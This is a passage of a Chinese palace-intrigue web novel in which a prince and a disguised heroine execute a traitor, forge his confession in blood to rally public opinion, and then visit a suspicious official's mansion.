对于这种不怕死的挑衅行为,风月皱眉,立马拿开他的手,护着自己的小命,躲到了观止身后。
殷戈止指节咔擦作响,出手极快,跨出门抓过封明就是一个过肩摔!
封明也料到他要动手,一个鹞子翻身稳稳落地,轻哼一声道:“恼羞成怒?”
“不。”殷戈止沉着脸道:“被人吵醒有些烦躁,拿你冷静冷静。”
说着,闪身就朝他攻去。
封明心情好,压根无心恋战,左躲右闪,身姿矫健,时不时还冲人家笑:“大皇子息怒啊,咱们来是有正事的。”
眼看着殷戈止要大开杀戒了,风月连忙喊了一声:“殿下,您看一眼这儿!”
身形一顿,殷戈止满眼戾气地回头,就看见了风月指着的贺兰长德。
“殿下!”与方才贼眉鼠眼慌乱不已的样子完全不同,贺兰长德眉目间满是委屈,抖着声音喊:“殿下救救卑职啊!”
看着他,殷戈止收了手,慢慢走过来,神色恢复了正常:“长德?”
一听这亲切的称呼,贺兰长德顿时感觉有了生的希望,哀嚎起来:“殿下,卑职没有背叛殿下,卑职有话要说啊!”
“你还有什么好说的?”封明皱眉。
眼珠子慌乱地四处转着,贺兰长德道:“卑职不知道殿下为何会相信贼人所言,认为是卑职出卖了殿下,
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但殿下,您不记得了吗?卑职跟在您身边五年了,多少次用身子替殿下挡过砍过来的刀剑?咱们是一起出生入死过的啊!您已经冤枉了一次关将军,难不成这次还要冤枉卑职吗!”
这言辞凿凿,配合着他身下流着的血,看得风月都有些动摇了,忍不住多想了一种可能——会不会,是易国如临死之前,故意拉他下水的?
然而,殷戈止慢慢蹲了下来,看着面前这人,平静地道:“你头一年跟着我的时候,一腔热血,满脸忠诚,所以我将你提拔成百夫长,带你一起征战。”
“第二年,你行为也无差漏,替我挡过刀,忠心耿耿,功夫也进步了,所以我提拔你做副将。”
“第三年,你说旧病复发,不愿意去冲锋营,我同意了,带你在身边,让你传递军令。”
“第四年,你收了人的礼钱,提拔一个世家子弟入军做百夫长,念在你家有病母,我只是寻了由头将那人贬了,并且用其他理由轻罚了你。”
“第五年,我忙于征战,并未注意你。平昌之战后,你退到澧都,当上了官。现在想来,我有个问题想让你作答:你哪来的银子通融关系,当上这监察使的?”
额头上冷汗直冒,贺兰长德眼里满是惊慌,他想不明白这些事情大皇子从哪儿知道的,一时间觉得,他可能是在诈自己?
然而,话音落,自己的脖子就被掐住了。
“我从来用人不疑,疑人不用,但我疏忽了,忘记了人是会变的。长德,数万将领因你而死,关将军因你蒙冤,你就不觉得愧疚吗?”殷戈止表情凝重,眼里有痛恨之色。
脸上满是悔恨,贺兰长德哽咽道:“卑职何尝不后悔?可没有退路啊!皇上何曾厚待过将士?一旦退下来,多少人就只领了点赏钱便回家种地!卑职不想啊,卑职想退下来也继续当官……可是官场险恶,没有银两哪里能成事?易国如老奸巨猾,拿了母亲威胁卑职,又给了很多银子,只求那一次情报。卑职……卑职岂能不说!”
“好一个岂能不说!”周身杀气暴涨,殷戈止收拢手,看着他眼珠突出,血丝满布,恨不得亲手结果了这自己曾经信任过的人!
要不是他,要不是他……他何至于助人犯下那滔天大错!
“殿下!”难得地正经起来,封明上前就抓住了殷戈止的手腕:“别灭口了啊,这些话要说给皇帝听才行。”
“给皇帝?”风月冷笑:“他不愿意听的时候,关苍海活过来给他说都没用。”
心口一窒,封明扭头看她。
殷戈止点头:“给皇帝说没用,风月,这人你想杀就杀吧,其余的,交给我。”
“好。”重新抽出**,她让观止去拿了个碗,在贺兰长德惊慌的嚎叫声里,给他手腕上来了一刀,放血。
这种死法温柔又残忍,血流尽才能死,慢慢的,可以感受到自己死亡的过程,想活,旁边却全是等着他死的人。
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第132章 以邪治邪
贺兰长德很是不甘心,然而失血的无力感很快席卷了他,没过多久,他眼睛都睁不开了,却还是不甘心地问了风月一句:“你到底是谁?”
扯了络腮胡子,风月抹了把脸,皮笑肉不笑地道:“认不得我吗?好歹我爹有一年的寿宴,您还送过礼来。”
看着这张脸,贺兰长德哑然失声,肥胖的身子抽搐了几下,眼里翻涌过无数复杂的情绪,喘息着道:“我死……我**,你爹也永远别想洗干净!”
“这个不劳你担心。”端起装满他血的碗,殷戈止道:“你的罪孽,我会让你自己的血来偿还。”
刚还觉得有一丝痛快,一看大皇子,贺兰长德心血上涌,嘴里猛地喷出血来,靠在旁边朱红的柱子上,终于是不动了。
封明看得感叹:“真不愧是心狠手辣的大皇子,对自己人都这么狠。”
“过奖。”微微颔首,殷戈止转头看着他道:“镇国侯府不是有门禁吗?已经戌时了,封将军还不打算回去?”
满不在意地摆手,封明转头看着风月:“久别重逢,我有很多话要跟她讲,今晚就不回去了。”
殷戈止:“???”
风月干笑:“恕我直言,封将军,我没有话要同您讲。”
“那你就听我讲。”眼神灼灼,封明正经起来,褐色的眼睛深情地盯着她:“我能讲一个通宵!”
“不好意思,借过。”雪白的袍子地挤到他面前,将对面的人挡了个严实。
封明抬头,就看见殷戈止面无表情的脸:“三更半夜,私相授受,于礼不合。”
“礼?”嗤笑一声,封明痞里痞气地道:“我这个人最不讲礼的,整个澧都谁不知道?”
这种不以为耻反以为荣的态度,着实让殷戈止半晌没能接上话。
封明挑眉:“说起来也是,说话也得找个地方,反正孝亲王府地方也大,不如就腾个院子给咱们吧。”
观止抹了把脸,心想平时看自家主子不要脸看习惯了,没想到这儿还有个更不要脸的。就他说这话,主子没把他扔出去就不错了,还敢问主子要地方跟风月姑娘聊天?
咋想的?
风月站在殷戈止身后,也有些感叹,过去这么多年了,封明怎么还是这么无法无天的?
殷戈止神色柔和了下来,语气平缓地道:“既然将军这么想叙旧,那我也不能不成全。”
眼睛一亮,封明笑了:“王爷真是通情达理。”
“好说。”侧了侧身子,殷戈止道:“整个王府就这一处院落打扫干净了,将军要是不介意,就主屋请吧。”
封明一愣,摆手道:“这多不好意思,打扰王爷休息。”
“无妨。”优雅地颔首,殷戈止转头就往主屋里走。封明跟着,顺手拉了风月一把,笑道:“这地方安全,还舒坦。”
看了看前头走着的人,风月忍不住扯了扯封明的衣袖,捂着嘴小声提醒:“将军,我觉得您还是别进去为好。”
怎么看殷戈止这种小肚鸡肠的人都是不会让人如愿的。
“怕什么?”封明道:“有我在!”
有你在就更怕了啊!风月咬牙,本来她一个人跟罗昊就可以回去了,可被他拖着,瞧殷戈止那眼神,根本就是没打算让她走了!
将那一碗血放在内室的书桌上,殷戈止淡淡地道:“我忙我的,你们说你们的。”
微微一愣,封明皱眉:“你要留在这儿?”
“将军上门来做客,难不成还要将主人赶出去?”铺了纸张,殷戈止淡淡地道:“不觉得失礼?”
“……”是有点失礼,但是他往这儿一杵,自己还怎么跟清越情话绵绵啊?
然而,是他想多了,就算没有殷戈止,风月也跟他说不了情话。
“听闻封将军打了厉害的胜仗。”在外室的桌边坐下,风月当真同他寒暄了:“想来近况不错。”
“还行。”跟着坐下来,封明抿唇,打算不管殷戈止了,只盯着面前这人道:“你呢?”
“我在吴国杀了该杀的人,倒也不错。”风月道:“仇报了一半了。”
“那……”
那有没有遇见新的喜欢的人?封明很想这么问,可又觉得怎么跟个女儿家似的小气巴拉的!摇摇头,他换了句话问:“那需要我帮忙吗?”
听着这话,风月幽幽地看了内室的殷戈止一眼,心想同样是男人,差别咋就这么大呢?人家一上来都是诚诚恳恳地问需要帮忙吗?怎么到他那儿,就变成了趾高气扬的“你要求我帮忙了”。
差别啊差别!
难得地露出一个笑容给他,风月道:“不用了,我自己能完成,多谢你。”
以前一直没被和颜悦色地对待过,现在乍一看她的小脸,封明却皱了眉,目光在她脸上流淌,半晌才道:“你好像长大了。”
被一个分明很幼稚的人说自己长大了的感觉可不太好,风月眯眼:“讽刺我?”
“不是,由衷的感叹而已。”封明摇头:“你以前那般张狂,动不动就能和我打起来,现在温和是温和了,也更有礼了,可就是让人觉得像一潭死水,瞧得心疼。”
风月一怔,深深地看他一眼。
原以为他什么都不知道,但是怎么好像,他什么都知道似的?
内室里的砚台“哐当”一声砸在了地上,惊得外头两个人回了神,下意识地就起身进来看。
殷戈止正捏着毛笔,蘸着血写着东西,砚台碎了他也没管,只道:“风月,来帮忙,血要干了。”
风月皱眉,心想老子都不在你府上过活了,为什么还得被你当丫鬟使唤啊?
可是低头一看他写的东西,她正了神色,二话没说就拿了支毛笔在碗里搅合。
“昭罪状?”看着桌上的东西,封明皱眉跟着念:“罪臣贺兰长德,有负皇恩,通敌**,陷害忠良,无颜面对天下人……”
倒吸一口凉气,封明瞪眼:“你伪造认罪书?”
“不可以吗?”殷戈止一脸正气地道:“既然正不能胜邪,那我以邪治邪又何妨?这是他该写的,他**不能写,那自然由我代笔。”
封明沉默,想了好一会儿,扭头
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问风月:“为什么他能把不义之事说得这么理直气壮的?”
风月微笑:“因为别人先不仁,我们后不义,情理之中。”
有道理,封明点头,很快接受了这件事,然后就专心地看殷戈止写昭罪状,完全忘记了自己的初衷。
写完原稿,殷戈止抬头看向封明:“将军在京中是赋闲在家?”
“非也。”封明一本正经地道:“陛下将皇城宫门附近的守卫都暂交于我,每日要去巡逻三次。”
“那将军所管之处,要是有人靠近,拦还是不拦?”
“拦!”封明眯眼:“除了皇帝,谁都拦。”
“很好!”将昭罪状转头递给风月,殷戈止道:“你手下那杂货铺的老板肯定会活字印刷,让他将这份罪状印刷出千份,纸墨皆由孝亲王府结账。印刷完之后,将原稿贴在宫门口的告示栏上!”
眼眸微亮,风月点头:“好!”
“等等!”封明挑眉:“贴这个在宫门口?”
“不然还有哪儿最显眼?”殷戈止掀了掀眼皮:“有你封将军看着,应该没人能扯下来,等他们看到印刷出的东西,会怀疑真伪,到时候就引导人去宫门口看,一定能激起轩然大波。”
皇帝不听的话,那说给百姓听好了,如果正史非要将关苍海定为叛臣,那就让野史还他清白好了。
指节泛白,风月小心翼翼地将那昭罪状收起来,然后飞也似的往外跑!
她不在意名声的,真的,可是,若能让关苍海曾经保护过的百姓们知道,他们崇敬的将军没有叛国,那她愿意努力。
封明想抓住她,动作没那么快,只能看着她冲出去,带起一阵风,吹得他墨发凌乱。
转头,他认真地看着殷戈止,语气凝重地陈述:“你看上她了。”
不是疑问,是肯定。向来不为俗事挂心的殷大皇子,今日举动诸多反常,他要是还看不出来,那他就是个傻的。
轻轻抬眼,殷戈止拢袖勾唇:“她与将军,似乎已经没了婚约,我若是看上,有何不妥?”
拳头紧了紧,封明沉声道:“她说她不喜欢你了。”
她不喜欢他,这不是很平常的事情吗?说喜欢他才是逢场作戏呢。殷戈止嗤笑,觉得这句话一点作用都没有。
“我知道自己该做什么,希望封将军也能知道。”起身往床榻的方向走,殷戈止淡淡地道:“她现在最想做的是报仇,你若当真想帮她,就别光顾着纠缠她。”
“你要帮她报仇?”封明冷哼了一声:“你以为将关家满门抄斩的圣旨,是谁写的?”
身子一僵,殷戈止沉了脸。
心情好了点,封明笑道:“你我都未必有好结果,但是王爷,您好像比我的境遇更糟糕,这样一想,我也就放心了。”
这人说话,永远都让人想一拳揍上去!殷戈止咬牙,目光阴冷地回头,却见封明已经潇洒地转身往外走了。
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第133章 太尉府花开得好
风月完全不知道背后发生的刀光剑影,一将**拿回去,整个院子里的人都沸腾了,秋夫人去准备纸墨,史冲去刻字,倒是挑大梁的杂货铺掌柜范铸面泛忧色。
“少主。”他低声道:“大皇子此举,意欲何为?”
“他不是说要帮关家翻案吗?”风月道:“看起来是诚心的。”
“可是,此举于翻案有益吗?天下毕竟是皇帝的天下,他不承认的事情,闹得民间沸沸扬扬,恐怕也只有获‘顶撞君主之罪’一个下场。”
停下手里的东西,风月朝他笑得潇洒:“范掌柜,咱们可是亡命之徒啊,本来做的也是掉脑袋的事情,还怕获不获罪?”
范铸一愣,想想也是,只是大皇子那个人,从小身上背负的百官和百姓的希望实在太多,他以为他是要走一辈子忠孝仁义礼义廉耻的路的,没想到……
“少主!”秋夫人从外头回来,神情愕然,手里捏着一叠纸就到了风月面前,低声问:“您见过封明了?”
风月还没来得及回答,旁边的罗昊便道:“可不是见过了吗?封家小子追得咱们少主跑了老半天呢!”
眼里有些担忧,秋夫人皱眉道:“在澧都,多一个人见过少主,少主就多一分危险,你怎么也不知道掩护好?”
罗昊很委屈,他咋掩护啊?事发突然,他以为少主跑了就没事了,谁想到一跑反而被认了出来。
“封明没关系的。”旁边的尹衍忠道:“他从小就护着少主,就算自个儿死,也不会让少主死。”
这话听得众人一愣,风月有点不好意思地挠头,干笑道:“秋夫人怎么知道他见过我了?”
扬了扬手里的纸,秋夫人道:“本来还在想这个时辰去哪里找纸墨,结果刚到文林街,就看见封明和几个随从在从文轩里往牛车上放东西。我正想走呢就被封明叫住了,让我把那一车的纸墨带给你,还说要去孝亲王府拿银子。”
大半夜的不睡觉,还忙活这些?风月撇嘴,想想今日他那眼神,总觉得心里不踏实,扭头问了尹衍忠一句:“他娶媳妇了吗?”
“没。”尹衍忠耸肩:“自关家被灭,皇帝牵连镇国侯府,不少侯府出身的官员都被流放。还是丞相说情,皇帝才任封明为将,抵御外敌。他立了功,镇国侯府也才渐渐被宽恕。如此境遇之下,自然难成亲事。”
松了口气,风月拍着胸口笑道:“幸好不是他一直念着我,然后不想娶亲,不然我可罪孽深重了。”
看她一眼,尹衍忠很是严肃地补上一刀:“他今年婉拒皇后的说媒,是您的原因也说不定。”
风月:“……”
哭笑不得,她顺手就拿了块镜子来照照自己,一边照一边道:“我有这么闭月羞花沉鱼落雁吗?澧都那么多好姑娘他不娶,惦记我这个**做什么?”
“曾经沧海难为水。”
“我呸呸呸呸呸呸!”皱了眉头,风月磨牙:“先不说我从前就跟他不对盘,就算对盘,过了这么多年,中间又发生这么多事儿,谁有空理会沧海啊桑田的?要当真是因为我不成亲,那不是给我添堵吗!”
说得也是,儿女情长很误事的!众人纷纷点头。
院墙外的人轻轻锤了锤墙壁,低笑一声,转身离开。
满院子的人开始正经地忙碌,到了黎明破晓之时,活字印刷的东西就能用了,一张张“昭罪状”如雪花片儿似的落满了整个院子,很快,也落满了澧都每一个角落。
百姓识字的人少,看这东西从天上落下来的,便以为是天诏,纷纷涌到附近的学堂求解。学堂里的夫子就一字一句地念着这东西,然后解释给大家听,不是天诏,是替忠臣昭雪之书。
诏书的最后,印着一句“亲笔**挂于宫门,求达圣听。”
仲夏时分,百姓们都有些空闲,一有空闲,就喜欢凑热闹,见有大热闹,那自然就往皇宫门口跑了。
“嗨呀,真的有**啊,瞧这血的颜色,像人血!”
“贺兰长德,不是监察使吗?听说失踪了,是怕皇帝处置,所以躲起来写书昭罪,以为这样就不用受罚啦?”
“呸!**贼!我就说关大将军那种英明神武的将军,怎么可能**,原来当真是被奸人所害啊!”
“我一直相信关将军的!”
“少来,几年前刑场边儿你还骂人家关家是**家族呢,现在放什么马后炮!”
叽叽喳喳,议论不停,人群之中有人煽动情绪,要还关将军一个公道,一时之间万民附和,嘈杂之声直达宫廷。
魏文帝大怒,你贺兰长德昭罪就昭罪,贴在皇宫门口是什么意思?他不想看,也不乐意看!
于是,禁军到了宫门口,要将那**揭下来。
“站住。”一身银黑盔甲,封明长剑指地,眉眼含霜:“没有圣旨,任何人不得靠近!”
禁军大统领乐了:“将军,本统领是奉皇上口谕来拿掉这东西的。”
“口谕?”勾唇一笑,封明抱着剑道:“谁知道你会不会假传口谕?我担负护卫宫城重责,除了陛下,谁要靠近这城楼,都得拿手谕来!”
这不是不讲道理吗!他守卫宫城,他们禁军是从宫城里头出来的啊!宫城都让进,凭啥不让靠近城楼?
封明剑一横,我就是不讲道理,你们有本事硬闯?
禁军统领被气得不轻,当即回去皇帝那儿告了一状,皇帝正要发怒,旁边的丞相石鸿唯却笑道:“恭喜陛下。”
“有这等忤逆的臣子,你说什么恭喜?”魏文帝很生气。
石鸿唯拱手道:“何来忤逆啊?有封明这样忠心不二的臣子守卫宫城,任何人有歹心都不会得逞,只有您的手谕他才认,这哪里算忤逆?”
魏文帝一听,还真是有道理,于是当真写了手谕给禁军统领,让他再去揭那东西。
知道你要来揭了,好歹是殷大皇子辛辛苦苦写的,会白白糟蹋吗?不会,封明提前便让人把东西送回了孝亲王府。
然而殷戈止不在府上,比起没个人气的孝亲王府,他还是更喜欢风月的大杂院。
民间议论持续不断,加上有人煽动,民情沸腾,甚
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至万民上书,要魏文帝还关家一个公道。魏文帝不知道这事儿是谁干的,他怀疑过殷戈止,可现在父子关系本就紧张,他也不好当面去问,就只能**。
越**越乱,朝中很多本对此事不发表看法的大臣也纷纷站了出来,请陛下重视**。
“****!”魏文帝冷笑,怒而拍桌:“哪有那么多**,三年前朕斩关家满门的时候,你们不也说**所趋吗?**算个什么东西!朕才是一国之主!”
此言一出,朝野震惊,丞相脱帽请罪,百官长跪不起。
“咱们陛下真是好厉害啊!”风月唏嘘:“天下是他一个人的天下,他说了算。”
殷戈止神色不悦,抿着手里的茶,淡淡地道:“封明虽然经常做事不过脑子,但有一句话说得很对。”
“广言纳谏兴国,独断专行**。”
风月挑眉:“孝王爷,这可是您父皇的国,亡了您不心痛?”
殷戈止冷笑:“这若当真是他一个人的国,亡了我还当真不心痛。”
可惜,还有天下百姓,还有黎民苍生,他们何辜?
风月耸肩,没打算跟他讨论国事,只道:“晚上我有事出去,王爷要是还想喝茶,就自己来喝吧。”
摇晃着茶杯里的渣子,殷戈止淡淡地道:“想去害人?”
“是呀。”风月眯着眼睛,笑得像只狐狸精:“有些不得好死的人,一定要好好害一害。”
斜她一眼,殷戈止道:“路上小心。”
就这四个字?风月挑眉,啧啧两声:“您的心可真宽!”
“你想对付的人,恰好是我也想找麻烦的人,能给我省力,我为何心要不宽?”眼眸深邃,殷戈止微微勾唇:“早去早回。”
瞧他这一副什么都知道然后居高临下的样子,风月就很想往他屁股上踹一脚!
“月儿。”封明的声音在外头响起,微微有些不耐烦:“你快点啊!”
“来了!”被他这称呼喊得鸡皮疙瘩都起来了,风月抱着胳膊打了个寒颤,然后起身就想走。
结果手腕就被人猛地扣在了桌上!
风月一愣,茫然地扭头看着旁边这人,却见方才还一脸世外高人模样的殷戈止,这会儿脸都黑了,轻声问她:“你跟他一起去?”
“当然啊,不然谁还能带我进太尉府参观呐?”
我也能!可明显的,这该死的人并未将他放在心上。
深吸一口气,殷戈止面无表情地道:“我也去。”
“您去添什么乱啊!”风月甩手:“将军身边带一个丫鬟就够了!”
“……”
半个时辰后,封将军的身后多了一个丫鬟,旁边多了一个主子。
封明很是不理解:“王爷,您去做什么?”
殷戈止冷声道:“太尉府后院的花开得好,本王想去看看,不可以?”
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第134章 住一晚吧
“可以是可以。”封明笑了笑:“但是咱们有正事要做,王爷千万别添乱。”
一个惯常给别人添乱的人,反过来让他别添乱?殷戈止嗤了一声,睨着他道:“封将军知道她要去做什么正事?”
“不知道。”骄傲地吐出这三个字,封明扬了扬下巴:“但月儿想去太尉府,我带她去,这就是我的正事。”
花言巧语!殷戈止冷哼,难不成靠这点嘴皮子,还能感动人?
风月一脸感动地看着封明:“这么多年没见了,将军还对我这么好,真是让人愧疚。”
殷戈止:“……”
女人真是种肤浅的动物!
封明低头看她,英俊的五官泛着光,透着一种旁人没有的活力,眼神灼灼地道:“你有什么好愧疚的,我拿你当兄弟,对你好是应该的。你要是觉得愧疚,那就也把我当兄弟。从前的恩怨,咱们一笔勾销。”
一听这话,风月乐了,心口吊着的东西也松了下来,一巴掌就拍在封明的肩膀上,点头道:“好啊,我认你这个兄弟!”
殷戈止嘴角抽了抽,眯眼看着封明问:“你们曾经的婚约,你不在意了?”
“不在意了!”潇洒地摆手,封明笑得温暖:“反正已经作废,她又不喜欢我,那当兄弟更自在。”
什么叫以退为进,什么叫心机深沉那!这一瞬间殷戈止当真明白了封明为什么说“王爷的处境更为困难”。
岂止是困难,简直是艰险!人家可以用兄弟之名亲近,那他呢?难不成说:风月,我是你父亲**里的重要人证?
狠狠地咬了咬牙,殷戈止表面镇定,气息难平。
早知道在封明十六岁闯宫找他打架的时候,他就该让他流放!现在多碍眼那,还除不掉了!
前头两个人竟然已经开始勾肩搭背地一起走了,殷戈止眯眼,抿了抿唇,突然倒吸一口凉气。
“怎么了?”听见后头的动静,风月连忙松了手回头,结果就见殷戈止眼眸里满是痛苦,偏生还隐忍着,装作无事地道:“继续走。”
好奇地到他身边看了看,风月挑眉:“您当真还能走?”
“能。”眼里的痛楚渐渐压不住,殷戈止闭眼,深吸一口气:“太尉府后院的花,今日无论如何我也要看。”
封明都被这精彩的表演给蒙住了,错愕地道:“那花有那么重要吗?您都疼成这样了。”
“哪儿疼啊?”风月问。
闭眼思考了一会儿,殷戈止道:“腿抽筋了,你们扶我一下。”
指了指后头,风月道:“观止还跟着呢。”
殷戈止缓缓回头,观止神色一凛,立马垮了脸道:“属下无能,最近腰闪着了,使不上劲,怕摔着主子。”
“那还是我来吧。”撸了撸袖子,风月一把扯了殷戈止的胳膊扛在肩上。然后瞬间就感觉这厮的重量全往自己身上放了。
“真重!”
殷戈止抿唇,轻叹一口气:“有劳。”
人家都这么说了,那半路把人扔了也不合适。风月撇嘴,抬脚就继续往前走。
封明本来还有些担忧大皇子,可走在后头看了看那几乎要倒在风月身上的背影,他眯眼,很快反应了过来。
就像女人的手段只有女人能看穿一样,男人的心机也只有男人能明白。说时迟那时快,封明一个箭步冲上去,伸手拎了殷戈止另外一只胳膊,狠狠往自己肩上一扛!
正在得意的殷大皇子瞬间就黑了脸,扭头看他:“你做什么?”
一脸关切,封明笑道:“怕月儿一个人扶不住您,我来帮忙。”
手上用劲,殷戈止淡淡地道:“不必。”
没松手,封明手上的力道也加大,笑得万分欠揍地道:“王爷不用客气。”
半边身子还在风月身上,殷戈止不敢用太大的力气,反而被封明给钳制住了,当下就眯了眯眼:“你这样本王不好走路。”
“那微臣还可以背王爷。”
力道暗中往来,谁也不肯让谁,封明眼里含笑,殷戈止眸中带冰,双方对峙,电闪雷鸣!有人力道没控制好,时不时推到旁边的风月。
走了好一会儿,风月实在忍不住了,低喝一声将旁边这两人一起推开,横眉怒吼:“你们还能不能好好走路了?!”
两人一顿,殷戈止立马软了软脚,眉头微蹙,责备地看着封明。
封明一脸愕然,接着就对上风月的眼神,听她恼怒地喊:“将军!”
“……我好好走路!”抹了把脸,顺带瞪了这不要脸的大皇子一眼,封明咬牙继续往前走。殷戈止神色愉悦,伸手又要风月扶,却听她凉凉地道:“都有力气较劲,哪能没力气走路啊王爷?”
面儿上有点过不去,殷戈止轻咳一声,神色严肃地活动了一下脚踝,然后若无其事地继续往前走。
观止在后头看得捂着脸笑,愣是没敢笑出声,到太尉府的时候,憋得脸都青了。
魏国的太尉跟吴国的那位风格不同,吴国太尉可忙了,天天都不见人影,魏国的太尉赵旭格外清闲,没事遛遛鸟看看花,日子过得潇洒自在。所以太尉府的大门敞开,一看见封明给的信物,守卫立马就进去禀告了。
没一会儿,赵太尉就一路拱着手出来,喜笑颜开地道:“不知封将军来访,有失远迎那!”
然后转头一看见殷戈止,脸上笑容一僵,直接跪了下去:“拜见王爷!”
“免礼。”看了看他这一身常服,殷戈止问:“今日大人休假?”
“非也。”赵旭起身赔笑:“最近没什么大事,在下便有些清闲……”
要是知道您要来,怎么也得穿官服啊!
微微颔首,殷戈止面无表情地道:“大人不必紧张,本王只是来看看你太尉府后院的花,与封将军是偶遇。”
“正所谓相请不如偶遇!”谄媚地拍马屁,赵旭道:“王爷与封将军都是我朝年轻的栋梁之才,能一起光临太尉府,太尉府真是蓬荜生辉!”
封明听得嘴角直抽,站在门口寒暄了一阵进去,忍不住小声问风月:“这人怎么当上太尉的?”
太尉好歹是三公之一,地位卓然,不是什
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么人都能当的吧?
风月低着头,皮笑肉不笑地小声道:“当今圣上爱好书法字画,此人擅长书法,尤颜体乃大家,圣上肯同他亲近,官自然也来得容易。”
字写得好就能当三公?封明皱眉:“那完了,我字很丑。”
“所以您胜仗回来,也只能守宫门啊。”风月摇头:“任人唯亲,也是魏文帝的特色。”
“封将军这边请。”前头的赵旭回头,笑眯眯地道:“听闻将军也要建府了?”
“正是。”封明抬头:“就是听说太尉府修得别具一格,在下才过来看看,也好知道自己的府邸要怎么修。”
“哈哈哈。”这话赵旭很受用,立马得意起来:“这儿很多东西都是御赐,得蒙圣上厚爱,圣驾也时常来这里赏玩,与微臣写字作画。”
“哦?”殷戈止皱眉:“时常?”
封明会意,打趣似的道:“怎么可能时常?皇帝出宫,那可是很危险的,且每次阵仗都不小。要是时常来,内侍大人们还不累坏了?”
这语气颇有“你撒谎你骗人你吹牛皮”的小孩子嚷嚷意味儿,也只有封明能说得这么到位。
赵旭一听就不乐意了,带着他们到了花园,指着那凉亭道:“就上个月陛下还来过,说再过两日天气凉爽些,会再来。”
这件事封明都不知道,也就是说,皇帝是微服出宫的。
胆子可真大,看来得劝谏一二了,皇帝出宫频繁,完全不是好事。
殷戈止回头看了风月一眼。
那化了浓妆穿着丫鬟衣裳的人,像当初在梦回楼一样娇俏妖艳,没人认得出来。只是,她低垂着头,在想什么呢?
手指紧了紧,殷戈止别开头,若无其事地继续听赵旭说话。
“那边是后院。”赵旭道:“没修整过,就不必去看了。”
“嗯?”封明挑眉:“孝王爷说,太尉府后院的花最好看了。”
赵旭一愣,好奇地看着殷戈止:“王爷何时来过太尉府啊?”
殷戈止看着他,淡淡地道:“原先就听人说过,说太尉大人的后院花娇艳,整个澧都没几处比得上。”
额头上突然出了冷汗,赵旭抬了抬袖子,颤颤巍巍地道:“谣传,谣传而已。”
“是吗。”语气平静,殷戈止道:“那倒是可惜了,不过今日听闻封将军休假,本王也想跟赵大人多聊聊,不知可否能在府上叨扰一晚?”
“荣幸之至啊!”赵旭连忙转头吩咐人:“去收拾几间客房出来。”
“是。”家奴应了就走,封明想说什么,看了一眼殷戈止的表情,没吭声了。
风月低着头,她知道殷戈止不是会无缘无故在别人家住下来的人,只是,不是想省力气吗?怎么还是自个儿上场了?
见殷戈止没怎么纠结后院的事,赵旭脸上重新带了谄媚的笑容,让自己院子里的姬妾出来,好生招呼客人。
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第135章 后院的流言
本来是想在这太尉府里四处看看的,被殷戈止这么一说,三个人都只能老老实实在迎客厅里呆着,看姬妾起舞奏乐。
风月几度想溜走,都被殷戈止拽住了裙角。她咬牙,这回是当真不明白这人在想什么。歌舞有什么好看的?还没她跳得好呢。
封明眼里也有疑惑的神色,然而,等赵旭起身如厕,殷戈止小声解释了:“这太尉府的后院有热闹看。”
热闹?风月皱眉:“哪儿来的热闹啊,人家都说后院荒废了。”
“就是荒废了才有热闹。”看着堂下翩翩起舞的美娇娘,殷戈止道:“你不就是要人家不得安生吗?后院那点热闹足够了。”
一听这话,风月眯了眯眼:“王爷是想掀他老底?”
对于赵旭的情况,她肯定比殷戈止清楚,这些当年进谗言让关家满门抄斩的人,每个人她都记在心里,时常派人查探,就算挖不出什么大秘密,但一旦有泄露出来的消息,那一定是进了她的耳朵的。
殷戈止说的后院的热闹,应该是指两年前的流言,有人说太尉府像个无底洞,经常有娇艳的美人儿送进去,却像是怎么也填不满似的。还有人说太尉府办过一场**事,说是驱邪,却不知是不是在镇鬼。民间百姓的想象力多丰富啊,什么故事都能编出来,于是就有人说,太尉府里的美人肯定年年都有死的,不然怎么可能年年招人,连院子都没扩建?
但是,这种事情也只能止于流言,因为没有丝毫的证据,也就不会有人吃饱了撑的去查,于是至多当成茶余饭后的谈资罢了。
风月抿唇,她知道今日赵旭说“圣上时常来”的时候,殷戈止有些顾忌地看了她一眼,大概还是怕她起弑君的心思,毕竟昏君归昏君,那是人家的父皇。她要杀,他一定会拦。
可是,赵旭是当年三公九卿之中,头一个站出来要皇帝将关家灭门的人。此人酒囊饭袋,说的话魏文帝却听,素来与将军府无仇怨,却在那个时候对将军府举起了屠刀。这样的人,她怎么可能让他好过。而不想让他好过,那就只有把主意打到魏文帝的头上。
“国有国法。”殷戈止垂眸道:“与其双手沾满血腥,不如让他罪有应得。”
罪有应得?风月失笑,摇着头低了身子下来,凑在他耳边问:“王爷,您当真觉得,一旦后院里有热闹,这位赵大人就会获罪吗?”
“当然。”殷戈止道:“天子犯法,与庶民同罪,何况他只是个太尉。”
“好。”风月笑着颔首,眼里满是叹息:“那咱们来打个赌吧。”
“什么赌?”
“要是殿下能让赵旭罪有应得,此人之事,我不插手半分。但,若是后院您翻过来了,他没有受到该受的处罚,那不管我做什么,殿下都别插手,如何?”
眉头皱了皱,殷戈止深深看她一眼,正想再说,赵旭却已经回来了。
于是风月低头站到了后头,殷戈止也没再说话。
歌舞酒宴之后,封明和殷戈止都去了客院。赵旭一边引路一边赔笑:“这间院子最舒坦,刚好一间主屋,一间侧堂,并着丫鬟侍卫能休息的厢房,很方便。”
“有劳。”封明笑道:“只是我这人半夜喜欢梦游,要是惊到了府上的人,还请大人切莫见怪。”
风月在后头跟着,心想几年不见封明也变聪明了?还知道为自己晚上行动提前找好借口。
赵旭犹豫了一下,觉得世上不会有那么巧的事情的,梦游就梦游吧。于是点头应下,还吩咐人好生伺候。
结果殷戈止开口道:“本王半夜喜欢出去看月亮,封将军只需注意别吓着本王就好了。”
赵旭抿唇,突然觉得心里不踏实,看了殷戈止好几眼,赔笑道:“这几天天气不好,晚上也没什么月亮可以看,王爷真想看的话,下官可以让姬妾来跳个月华舞。”
“不必。”
“……”
擦了擦额头,赵旭将这两位癖好古怪的主子请进客院,低声招过家奴来,让他们仔细盯着,然后才行着礼走了。
夏日的午后炎炎,分外好眠,风月穿着丫鬟的衣裳,坐在客院门口就跟两个家奴聊天:“这府上真好看,比将军府还好看。”
两个家奴年岁都不大,一看这娇滴滴的小美人儿想说话,便都凑过来在阴凉下头坐着。一个道:“自然,咱们大人修这地方颇费心思呢。”
另一个生怕风月注意不到他,急忙抢着道:“那可不是,我在这府里八年了,每一处地方我都清楚!”
风月微笑,眼角余光看着两抹影子顺利翻了墙,然后继续问:“后院你们也清楚吗?先前孝亲王说,那地方花很好看,我还想去看看呢。”
一提到后院,两个家奴色变,瞬间住了嘴,饶是风月媚眼飞得再凶,也没再开过口。
